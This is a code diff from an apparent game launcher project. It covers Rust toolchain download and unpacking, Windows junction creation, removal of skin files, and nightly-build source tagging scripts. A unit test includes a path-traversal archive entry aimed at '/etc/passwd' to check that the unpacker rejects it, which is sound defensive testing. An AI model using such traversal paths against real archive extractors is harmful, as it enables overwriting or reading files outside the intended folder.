.env("CARGO_HOME", cargo_home());
for name in [
"RUSTUP_TOOLCHAIN",
"RUSTC_WRAPPER",
"RUSTC_WORKSPACE_WRAPPER",
"CARGO_BUILD_RUSTC_WRAPPER",
"CARGO_TARGET_DIR",
] {
cmd.env_remove(name);
}
cmd
}
/// `rustc --version`, once the toolchain answers.
pub fn version(&self) -> Result<String, String> {
let out = self
.command(&self.dir.join("bin").join(exe("rustc")))
.arg("--version")
.output()
.map_err(|e| format!("Rust {VERSION} doesn't start: {e}"))?;
if !out.status.success() {
return Err(format!(
"Rust {VERSION} doesn't start: {}",
String::from_utf8_lossy(&out.stderr).trim()
));
}
Ok(String::from_utf8_lossy(&out.stdout).trim().to_owned())
}
}
/// Where toolchains live: `<launcher data>/rust/`.
pub fn root() -> PathBuf {
backend::data_dir().join("rust")
}
/// The Cargo home of native builds (downloaded crates, horizon-mixins), never the player's own.
pub fn cargo_home() -> PathBuf {
backend::data_dir().join("cargo")
}
fn dir_for(host: &Host) -> PathBuf {
root().join(format!("{VERSION}-{}", host.target))
}
const COMPLETE: &str = ".installed";
/// The toolchain, when it is installed.
pub fn installed() -> Option<Toolchain> {
let dir = dir_for(host()?);
dir.join(COMPLETE).is_file().then_some(Toolchain { dir })
}
/// Downloads, checks and unpacks the pinned toolchain (once); `progress` gets the fraction done.
pub fn install(progress: impl Fn(f32)) -> Result<Toolchain, String> {
if let Some(done) = installed() {
return Ok(done);
}
let host = host().ok_or_else(|| {
format!(
"Native mods need Rust, and the launcher has none for {} {}.",
std::env::consts::OS,
std::env::consts::ARCH
)
})?;
let dir = dir_for(host);
let partial = root().join(format!(".{VERSION}-{}.partial", host.target));
let _ = fs::remove_dir_all(&partial);
fs::create_dir_all(&partial).map_err(|e| e.to_string())?;
let count = host.components.len() as f32;
for (i, (name, sha256)) in host.components.iter().enumerate() {
let file = format!("{name}-{VERSION}-{}.tar.gz", host.target);
let archive = root().join(format!(".{file}"));
let step = |f: f32| progress((i as f32 + f) / count);
backend::download(&format!("{DIST}/{file}"), 0, sha256, &archive, &step)
.map_err(|e| format!("Rust {VERSION} ({name}): {e}"))?;
let unpacked = unpack(&archive, &partial);
let _ = fs::remove_file(&archive);
unpacked.map_err(|e| format!("Rust {VERSION} ({name}): {e}"))?;
}
fs::write(partial.join(COMPLETE), VERSION).map_err(|e| e.to_string())?;
let _ = fs::remove_dir_all(&dir);
fs::rename(&partial, &dir).map_err(|e| e.to_string())?;
progress(1.0);
Ok(Toolchain { dir })
}
/// Unpacks one component archive into `prefix`, as its installer would: an archive holds
/// `<top>/<component>/<files>` per component, and each component's files go under `prefix`. Its
/// installer script, lists and `manifest.in` stay out.
fn unpack(archive: &Path, prefix: &Path) -> Result<(), String> {
let file = fs::File::open(archive).map_err(|e| e.to_string())?;
let mut tar = tar::Archive::new(flate2::read::GzDecoder::new(file));
for entry in tar.entries().map_err(|e| e.to_string())? {
let mut entry = entry.map_err(|e| e.to_string())?;
let path = entry.path().map_err(|e| e.to_string())?.into_owned();
let Some(relative) = component_path(&path) else {
continue;
};
let to = prefix.join(&relative);
if let Some(parent) = to.parent() {
fs::create_dir_all(parent).map_err(|e| e.to_string())?;
}
entry
.unpack(&to)
.map_err(|e| format!("{}: {e}", relative.display()))?;
}
Ok(())
}
/// Where a file of a component archive goes, relative to the prefix: `rustc-1.99.1-x/rustc/bin/rustc`
/// → `bin/rustc`. None for the archive's own files and anything that would leave the prefix.
fn component_path(path: &Path) -> Option<PathBuf> {
use std::path::Component;
let parts: Vec<&std::ffi::OsStr> = path
.components()
.map(|c| match c {
Component::Normal(name) => Some(name),
_ => None,
})
.collect::<Option<_>>()?;
match parts.as_slice() {
[_, _, rest @ ..] if !rest.is_empty() && rest != ["manifest.in"] => {
Some(rest.iter().collect())
}
_ => None,
}
}
/// Whether this computer can link what the toolchain compiles: Rust brings its compiler, but uses
/// the system's linker on macOS (the Command Line Tools) and Linux (`cc`). Windows' `windows-gnu`
/// toolchain brings its own.
pub fn linker() -> Result<(), String> {
let ok = |program: &str, args: &[&str]| {
Command::new(program)
.args(args)
.output()
.is_ok_and(|o| o.status.success())
};
match std::env::consts::OS {
// `xcode-select -p` only says where they are; running `cc` without them would open
// Apple's install dialog by surprise.
"macos" if !ok("xcode-select", &["-p"]) => Err(
"Native mods need Apple's Command Line Tools to link the game. Run `xcode-select --install` in Terminal, then build again."
.into(),
),
"linux" if !ok("cc", &["--version"]) => Err(
"Native mods need a C compiler (`cc`) to link the game. Install gcc or clang with your distribution's package manager, then build again."
.into(),
),
_ => Ok(()),
}
}
/// Removes every toolchain and the native builds' Cargo home.
pub fn remove() -> Result<(), String> {
for dir in [root(), cargo_home()] {
if dir.exists() {
fs::remove_dir_all(&dir).map_err(|e| format!("{}: {e}", dir.display()))?;
}
}
Ok(())
}
#[cfg(test)]
mod tests {
use super::*;
use std::io::Write;
#[test]
fn every_host_pins_each_component_once_with_a_sha256() {
for host in HOSTS {
let names: Vec<&str> = host.components.iter().map(|c| c.0).collect();
assert_eq!(
&names[..3],
["rustc", "cargo", "rust-std"],
"{}",
host.target
);
for (name, sha) in host.components {
assert!(
sha.len() == 64 && sha.bytes().all(|b| b.is_ascii_hexdigit()),
"{name} {}",
host.target
);
}
}
let windows = HOSTS.iter().find(|h| h.target.contains("windows")).unwrap();
assert!(windows.target.ends_with("-gnu"), "no Visual Studio needed");
assert!(windows.components.iter().any(|c| c.0 == "rust-mingw"));
if cfg!(all(target_os = "macos", target_arch = "aarch64")) {
assert_eq!(host().unwrap().target, "aarch64-apple-darwin");
}
}
#[test]
fn component_files_land_under_the_prefix_and_nothing_else_does() {
let at = |p: &str| component_path(Path::new(p));
assert_eq!(
at("rustc-1.99.1-x/rustc/bin/rustc"),
Some(PathBuf::from("bin/rustc"))
);
assert_eq!(
at("rust-std-1.99.1-x/rust-std-x/lib/rustlib/x/lib/libstd.rlib"),
Some(PathBuf::from("lib/rustlib/x/lib/libstd.rlib"))
);
for skipped in [
"rustc-1.99.1-x/install.sh",
"rustc-1.99.1-x/components",
"rustc-1.99.1-x/rustc/manifest.in",
"rustc-1.99.1-x/rustc",
"rustc-1.99.1-x/../../etc/passwd",
"/rustc-1.99.1-x/rustc/bin/rustc",
] {
assert_eq!(at(skipped), None, "{skipped}");
}
}
#[test]
fn a_component_archive_unpacks_as_its_installer_would() {
let dir = std::env::temp_dir().join(format!("horizon-rust-unpack-{}", std::process::id()));
let _ = fs::remove_dir_all(&dir);
fs::create_dir_all(&dir).unwrap();
let archive = dir.join("cargo.tar.gz");
let mut tar = tar::Builder::new(flate2::write::GzEncoder::new(
fs::File::create(&archive).unwrap(),
flate2::Compression::fast(),
));
for (path, body, mode) in [
("cargo-1.99.1-x/install.sh", "#!/bin/sh", 0o755),
("cargo-1.99.1-x/cargo/manifest.in", "file:bin/cargo", 0o644),
("cargo-1.99.1-x/cargo/bin/cargo", "binary", 0o755),
] {
let mut header = tar::Header::new_gnu();
header.set_size(body.len() as u64);
header.set_mode(mode);
header.set_cksum();
tar.append_data(&mut header, path, body.as_bytes()).unwrap();
}
tar.into_inner().unwrap().finish().unwrap().flush().unwrap();
let prefix = dir.join("prefix");
unpack(&archive, &prefix).unwrap();
assert_eq!(
fs::read_to_string(prefix.join("bin/cargo")).unwrap(),
"binary"
);
#[cfg(unix)]
{
use std::os::unix::fs::PermissionsExt;
let mode = fs::metadata(prefix.join("bin/cargo"))
.unwrap()
.permissions()
.mode();
assert_eq!(mode & 0o111, 0o111, "cargo stays executable");
}
assert!(!prefix.join("install.sh").exists() && !prefix.join("manifest.in").exists());
fs::remove_dir_all(&dir).unwrap();
}
#[test]
fn the_command_uses_only_the_launchers_toolchain() {
let toolchain = Toolchain {
dir: PathBuf::from("/rust/1.99.1-x"),
};
let cmd = toolchain.command(&toolchain.cargo());
let env: Vec<(String, Option<String>)> = cmd
.get_envs()
.map(|(k, v)| {
(
k.to_string_lossy().into_owned(),
v.map(|v| v.to_string_lossy().into_owned()),
)
})
.collect();
let get = |name: &str| env.iter().find(|(k, _)| k == name).map(|(_, v)| v.clone());
assert_eq!(get("RUSTUP_TOOLCHAIN"), Some(None));
assert_eq!(get("RUSTC_WRAPPER"), Some(None));
assert_eq!(
PathBuf::from(get("RUSTC").flatten().unwrap()),
toolchain.dir.join("bin").join(exe("rustc"))
);
assert_eq!(
std::env::split_paths(&get("PATH").flatten().unwrap()).next(),
Some(toolchain.dir.join("bin"))
);
assert!(get("CARGO_HOME").flatten().unwrap().ends_with("cargo"));
}
}
+1 -11
View File
@@ -245,17 +245,7 @@ fn point(link: &Path, target: &Path) -> std::io::Result<()> {
#[cfg(windows)]
{
let _ = fs::remove_dir(link);
let status = crate::process::command("cmd")
.args(["/C", "mklink", "/J"])
.arg(link)
.arg(target)
.stdout(Stdio::null())
.status()?;
if status.success() {
Ok(())
} else {
Err(std::io::Error::other("mklink /J failed"))
}
crate::sources::junction(target, link)
}
}
+16
View File
@@ -38,6 +38,14 @@ impl Launcher {
return Ok(());
};
let mut accounts = Accounts::load();
// The name may have been forgotten while a file dialog was open: keep nothing for it.
if !accounts
.offline
.iter()
.any(|n| n.eq_ignore_ascii_case(&name))
{
return Ok(());
}
let mut look = accounts.look(&name);
change(&mut look);
accounts.looks.insert(name.to_ascii_lowercase(), look);
@@ -75,6 +83,14 @@ impl Launcher {
let Some(name) = self.skin.as_ref().map(|p| p.name.clone()) else {
return;
};
// The name may have been forgotten while the file dialog was open.
if !Accounts::load()
.offline
.iter()
.any(|n| n.eq_ignore_ascii_case(&name))
{
return;
}
let done = skins::keep(&skins::dir(), &name, &path, cape).and_then(|()| {
self.save_look(|l| match cape {
false => l.skin = true,
+7
View File
@@ -157,6 +157,13 @@ pub fn keep(dir: &Path, name: &str, file: &Path, cape: bool) -> Result<(), Strin
std::fs::write(&to, bytes).map_err(|e| format!("{}: {e}", to.display()))
}
/// Drops a forgotten name's files (`Accounts::remove_offline`); missing files are fine.
pub fn forget(dir: &Path, name: &str) {
let (skin, cape) = files(dir, name);
let _ = std::fs::remove_file(skin);
let _ = std::fs::remove_file(cape);
}
/// The variables the game gets for `name`'s look.
pub fn env(dir: &Path, name: &str, look: &Look) -> Vec<(&'static str, String)> {
let (skin, cape) = files(dir, name);
+20
View File
@@ -102,3 +102,23 @@ fn a_kept_look_reaches_the_game_only_with_its_files() {
);
std::fs::remove_dir_all(&root).unwrap();
}
#[test]
fn forgetting_a_name_drops_its_files() {
let root = std::env::temp_dir().join(format!("horizon-skins-forget-{}", std::process::id()));
let _ = std::fs::remove_dir_all(&root);
std::fs::create_dir_all(&root).unwrap();
let (src, cape_src) = (root.join("alex.png"), root.join("cape.png"));
std::fs::write(&src, png(&mapped(64))).unwrap();
std::fs::write(&cape_src, png(&mapped(32))).unwrap();
let dir = root.join("skins");
keep(&dir, "Alex", &src, false).unwrap();
keep(&dir, "Alex", &cape_src, true).unwrap();
let (skin, cape) = files(&dir, "Alex");
assert!(skin.is_file() && cape.is_file());
forget(&dir, "ALEX");
assert!(!skin.exists() && !cape.exists());
// A name that never had files is forgotten all the same.
forget(&dir, "Alex");
std::fs::remove_dir_all(&root).unwrap();
}
+17 -6
View File
@@ -498,6 +498,14 @@ fn make_link(target: &Path, link: &Path) -> std::io::Result<()> {
if !target.is_dir() {
return fs::hard_link(target, link).or_else(|_| fs::copy(target, link).map(|_| ()));
}
junction(target, link)
}
/// Makes `link` a junction to the folder `target` (no admin rights needed, unlike a symlink). The
/// error carries cmd's own message ("Access is denied", "The system cannot find the path…").
#[cfg(windows)]
pub(crate) fn junction(target: &Path, link: &Path) -> std::io::Result<()> {
use std::os::windows::process::CommandExt;
// Always quoted: cmd reads `&`, `^` or `(` in an unquoted path (a user folder may have
// them) as its own syntax. A Windows path never holds a quote.
let quoted = |path: &Path| {
@@ -506,16 +514,19 @@ fn make_link(target: &Path, link: &Path) -> std::io::Result<()> {
arg.push("\"");
arg
};
let status = crate::process::command("cmd")
let out = crate::process::command("cmd")
.args(["/C", "mklink", "/J"])
.raw_arg(quoted(link))
.raw_arg(quoted(target))
.stdout(std::process::Stdio::null())
.status()?;
match status.success() {
true => Ok(()),
false => Err(std::io::Error::other("mklink /J failed")),
.output()?;
if out.status.success() {
return Ok(());
}
let why = String::from_utf8_lossy(&out.stderr);
Err(std::io::Error::other(match why.trim() {
"" => "mklink /J failed".to_string(),
why => format!("mklink /J failed: {why}"),
}))
}
#[cfg(test)]
+36 -1
View File
@@ -185,7 +185,11 @@ impl Launcher {
button(format!("offline-forget-{i}"), "Forget", Kind::Ghost, &t).on_click(
cx.listener(move |this, _: &ClickEvent, _, cx| {
let mut accounts = Accounts::load();
if accounts.remove_offline(&forget).is_ok() && accounts.save().is_ok() {
if accounts
.remove_offline(&forget, &horizon_launcher::skins::dir())
.is_ok()
&& accounts.save().is_ok()
{
this.accounts = accounts;
}
cx.notify();
@@ -210,6 +214,37 @@ impl Launcher {
));
}
rows = rows.children(self.skin_panel(cx));
// The name the game made up can't be forgotten — it's what an offline player is —
// only rolled for a new one.
if let Some(made_up) = self.offline_name.clone() {
let plays = now == Player::GameName;
n += 1;
rows = rows.child(index_row(
n,
made_up,
Some(
div()
.child(tr(if plays {
"Offline name · the game's own · plays"
} else {
"Offline name · the game's own"
}))
.into_any_element(),
),
Some(
button("game-name-new", "New name", Kind::Ghost, &t)
.on_click(cx.listener(|this, _: &ClickEvent, _, cx| {
match instances::new_player_name() {
Ok(name) => this.offline_name = Some(name),
Err(e) => this.sign_in_state = Some(SignInState::Done(Err(e))),
}
cx.notify();
}))
.into_any_element(),
),
&t,
));
}
n += 1;
let add = div()
.flex()
+24
View File
@@ -62,6 +62,19 @@ class NightlyTests(unittest.TestCase):
self.assertIn("- Fix pistons (#2476)", text)
self.assertIn("Everything in it is on main.", nightly.notes("2026-10-28", ref("main", "m" * 40, 0), []))
def test_notes_name_the_commit_and_its_permanent_source_tag(self):
sha = "0c0206714abc" + "0" * 28
text = nightly.notes("2026-10-28", ref("union/a", sha, 1), [])
self.assertIn(f"Source: commit {sha}, kept for good as the tag `nightly-source/2026-10-28-0c02067`", text)
main = nightly.Ref("main", "m" * 40, None)
self.assertIn("`nightly-source/2026-10-28-bbbbbbb`",
nightly.set_notes("2026-10-28", nightly.Ref("b", "b" * 40, None), main, [], []))
def test_the_source_tag_outlives_every_prune(self):
tag = nightly.source_tag("2026-10-20", "a" * 40)
self.assertEqual(nightly.stale([{"tagName": tag, "isPrerelease": True}], dt.date(2026, 11, 28), 7), [])
self.assertIsNone(nightly.DATED.match(tag))
class ScheduledTests(unittest.TestCase):
@@ -149,6 +162,17 @@ class PruneBuildsTests(unittest.TestCase):
"feature/nightly/build-2026-10-01-1": "g", "nightly/build-2026-10-02-1": "n"}
self.assertEqual(nightly.stale_builds(branches, set(), self.TODAY, 7), [])
def test_the_source_is_archived_from_git_signed_attached_and_tagged(self):
build = (WORKFLOWS / "nightly-build.yml").read_text()
pick = build.split("\n build:", 1)[0]
self.assertIn('git archive --format=tar.gz --prefix="horizon-${SHA:0:7}/" -o horizon-source.tar.gz "$SHA"',
pick)
sign = build.split("\n sign:", 1)[1].split("\n publish:", 1)[0]
self.assertIn("dist/horizon-source.tar.gz", sign.split("sign_release.sh nightly", 1)[1])
publish = build.split("\n publish:", 1)[1].split("\n answer:", 1)[0]
self.assertIn('"dist/horizon-source.tar.gz#Source of this Nightly', publish)
self.assertIn('nightly.py keep-source "$SHA" "$DATE"', publish)
def test_the_workflow_prunes_on_schedule_only(self):
build = (WORKFLOWS / "nightly-build.yml").read_text()
step = build.split("Old nightly/build-* branches deleted", 1)[1].split("- uses:", 1)[0]
+1 -1
View File
@@ -60,7 +60,7 @@ class ReachTests(unittest.TestCase):
pub fn main() { println!("{} {} {}", helper(), Thing.method(), Thing); }
""",
})
self.dependencies = sorted(str(path.relative_to(self.root)) for path in self.root.rglob("*") if path.is_file())
self.dependencies = sorted(path.relative_to(self.root).as_posix() for path in self.root.rglob("*") if path.is_file())
self.dependencies.remove("crates/a/examples/probe/main.rs") # parity.only_probes_run leaves it out
def tearDown(self):
+39 -4
View File
@@ -6,6 +6,7 @@
nightly.py prune [--days 7] deletes the nightly-<date> pre-releases and tags older than that, nothing else
nightly.py prune-builds [--days 7] deletes the nightly/build-<date>-<n> branches older than that, but the
newest and any a published nightly points to (Ludovic, 2026-10-27)
nightly.py keep-source <sha> <date> tags the nightly's commit nightly-source/<date>-<short>, for good
A nightly builds main plus the pull requests the trusted reviewers picked (the set: tools/ci/nightly_set.py), merged
in their order and pushed as nightly/build-<date>-<n>. With no set it builds the newest union branch on origin
@@ -13,6 +14,10 @@ in their order and pushed as nightly/build-<date>-<n>. With no set it builds the
newer than main's head. It is published as the `nightly` pre-release; the previous one stays a week as
nightly-<date>. Runs from main's checkout with `gh`; it reads and merges the branches with git and never runs
anything from them.
Each nightly ships its exact source: horizon-source.tar.gz (`git archive` of the commit, signed with the builds) on
the release, and the tag nightly-source/<date>-<short>, which no prune deletes. Native mods pin a nightly's commit
(docs/native-mods.md), so that commit must stay downloadable after its release and build branch are gone.
"""
from __future__ import annotations
@@ -33,6 +38,7 @@ else: # run as tools/ci/nightly.py: its folder is on the path
DATED = re.compile(r"^nightly-(\d{4}-\d{2}-\d{2})$")
TITLE_DATE = re.compile(r"Nightly (\d{4}-\d{2}-\d{2})")
SOURCE_TAG = "nightly-source/"
@dataclass
@@ -84,10 +90,20 @@ OPT_IN = ("**Opt-in, not a release.** A Nightly can include pull requests not re
"as they are. Report bugs with the version the game shows (\"Nightly <date> · <commit>\").")
def source_tag(today: str, sha: str) -> str:
"""The permanent tag of a nightly's commit: neither `prune` (nightly-<date> only) nor `prune-builds` touches it."""
return f"{SOURCE_TAG}{today}-{sha[:7]}"
def source_line(today: str, sha: str) -> str:
return (f"Source: commit {sha}, kept for good as the tag `{source_tag(today, sha)}`; horizon-source.tar.gz is "
"its tree. Native mods built for this Nightly pin that commit.")
def set_notes(today: str, chosen: Ref, main: Ref, prs: list[dict], left_out: list[str]) -> str:
"""The notes of a build of main plus the reviewers' set."""
lines = [f"Nightly {today} · {chosen.sha[:7]}: main ({main.sha[:7]}) with {len(prs)} pull requests merged in, "
f"built from `{chosen.name}` ({chosen.sha}).", "", OPT_IN, "",
f"built from `{chosen.name}` ({chosen.sha}).", "", source_line(today, chosen.sha), "", OPT_IN, "",
f"### Pull requests in this Nightly ({len(prs)})", ""]
lines += [f"- {ns.plain(e['title'])} (#{e['number']}) by {e['author']}, at {e['head'][:7]}, picked by "
f"{e['asked_by']}" for e in prs]
@@ -97,7 +113,8 @@ def set_notes(today: str, chosen: Ref, main: Ref, prs: list[dict], left_out: lis
def notes(today: str, chosen: Ref, held: list[dict], left_out: list[str] | None = None) -> str:
lines = [f"Nightly {today} · {chosen.sha[:7]}: built from `{chosen.name}` ({chosen.sha}).", "", OPT_IN, ""]
lines = [f"Nightly {today} · {chosen.sha[:7]}: built from `{chosen.name}` ({chosen.sha}).", "",
source_line(today, chosen.sha), "", OPT_IN, ""]
if left_out:
lines += [f"The reviewers' set had nothing left to build: {'; '.join(ns.plain(w) for w in left_out)}.", ""]
if held:
@@ -184,7 +201,7 @@ def build_set(main: Ref, prs: list[dict], left_out: list[str], today: str, force
with open("nightly-notes.md", "w") as f:
f.write(set_notes(today, chosen, main, kept, left_out))
output(build=str(build).lower(), sha=sha, short=sha[:7], source=name, date=today, version=f"nightly-{today}",
nightly=f"{today} {sha[:7]}")
nightly=f"{today} {sha[:7]}", source_tag=source_tag(today, sha))
print(f"{'build' if build else 'skip (unchanged since the last nightly)'}: {name} {sha}, main {main.sha[:7]} + "
+ ", ".join(f"#{e['number']}" for e in kept))
@@ -233,7 +250,7 @@ def build_union(main: Ref, today: str, force: bool, left_out: list[str] | None =
with open("nightly-notes.md", "w") as f:
f.write(notes(today, chosen, held, left_out))
output(build=str(build).lower(), sha=chosen.sha, short=chosen.sha[:7], source=chosen.name, date=today,
version=f"nightly-{today}", nightly=f"{today} {chosen.sha[:7]}")
version=f"nightly-{today}", nightly=f"{today} {chosen.sha[:7]}", source_tag=source_tag(today, chosen.sha))
print(f"{'build' if build else 'skip (unchanged since the last nightly)'}: {chosen.name} {chosen.sha}, "
f"{len(held)} open pull requests beyond main")
@@ -309,6 +326,19 @@ def prune_builds(days: int) -> None:
f"nightlies' and the last {days} days')")
def keep_source(sha: str, today: str) -> None:
"""Tags the published nightly's commit for good (source_tag); a rerun of the same build finds it there."""
tag = source_tag(today, sha)
there = remote_refs(f"refs/tags/{tag}").get(tag)
if there == sha:
print(f"`{tag}` already names {sha[:7]}")
return
if there:
raise SystemExit(f"`{tag}` names {there[:7]}, not {sha[:7]}")
gh("api", f"repos/{os.environ['GITHUB_REPOSITORY']}/git/refs", "-f", f"ref=refs/tags/{tag}", "-f", f"sha={sha}")
print(f"tagged {sha[:7]} `{tag}`")
def main() -> None:
ap = argparse.ArgumentParser(description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter)
sub = ap.add_subparsers(dest="cmd", required=True)
@@ -316,6 +346,9 @@ def main() -> None:
sub.add_parser("rotate")
sub.add_parser("prune").add_argument("--days", type=int, default=7)
sub.add_parser("prune-builds").add_argument("--days", type=int, default=7)
keep = sub.add_parser("keep-source")
keep.add_argument("sha")
keep.add_argument("date")
args = ap.parse_args()
if args.cmd == "pick":
pick(args.force)
@@ -323,6 +356,8 @@ def main() -> None:
rotate()
elif args.cmd == "prune-builds":
prune_builds(args.days)
elif args.cmd == "keep-source":
keep_source(args.sha, args.date)
else:
prune(args.days)
+1 -1
View File
@@ -43,7 +43,7 @@ ALWAYS_GUARDED = ["/.github/", "/tools/ci/", "/crates/horizon-release-sign/", "/
STATE_BRANCH = "nightly-state"
BUILD_PREFIX = "nightly/build-"
MAX_PRS = 30
MAX_BUILDS_PER_DAY = 6
MAX_BUILDS_PER_DAY = 12
BOT = ("github-actions[bot]", "41898283+github-actions[bot]@users.noreply.github.com")
# Git never runs anything of the merged commits; these make sure nothing of the runner's either.
SAFE_GIT = ["-c", "core.hooksPath=/dev/null", "-c", "core.fsmonitor=false", "-c", "merge.renormalize=false"]
+2 -1
View File
@@ -96,7 +96,8 @@ def prepare_resources(root, version, store):
def named_logs(output):
"""The logs horizon-prepare's errors point to ("…; see /path/export.log"): its javac errors are there."""
text = ""
for name in sorted(set(re.findall(r"see (/\S+\.log)", output))):
# A log path is absolute on every host: "/tmp/x.log" or "C:\tmp\x.log".
for name in sorted(set(re.findall(r"see ((?:/|[A-Za-z]:[\\/])\S+\.log)", output))):
path = Path(name)
if path.is_file():
text += path.read_text(errors="replace")[-(1 << 20):]
+1
View File
@@ -552,6 +552,7 @@ def main():
oracle = lab.ROOT / 'mods/horizon/src/test/java/dev/horizonlab/parity/VanillaNaturalSpawnOracle.java'
sources = [oracle, Path(__file__), lab.ROOT / 'crates/horizon-client/examples/probe/natural_spawn_fixture.rs',
lab.ROOT / 'crates/horizon-client/src/mobs/spawn_selection.rs',
lab.ROOT / 'crates/horizon-client/src/biome.rs',
lab.ROOT / 'crates/horizon-client/src/mobs/spawn_rules.rs']
tested = base.source_hashes(sources)
inputs = build / 'inputs.txt'
+1
View File
@@ -235,6 +235,7 @@ def main():
lab.ROOT / 'crates/horizon-client/src/chunk/block_entity.rs',
lab.ROOT / 'crates/horizon-client-core/src/identifier.rs',
lab.ROOT / 'crates/horizon-client/src/mobs/spawn_selection.rs',
lab.ROOT / 'crates/horizon-client/src/biome.rs',
lab.ROOT / 'crates/horizon-client/src/mobs/spawn_rules.rs']
tested = base.source_hashes(sources)
inputs = build / 'inputs.txt'
+1
View File
@@ -200,6 +200,7 @@ def main():
lab.ROOT / 'crates/horizon-client/src/chunk/block_entity.rs',
lab.ROOT / 'crates/horizon-client-core/src/identifier.rs',
lab.ROOT / 'crates/horizon-client/src/mobs/spawn_selection.rs',
lab.ROOT / 'crates/horizon-client/src/biome.rs',
lab.ROOT / 'crates/horizon-client/src/mobs/spawn_rules.rs']
tested = base.source_hashes(sources)
inputs = build / 'inputs.txt'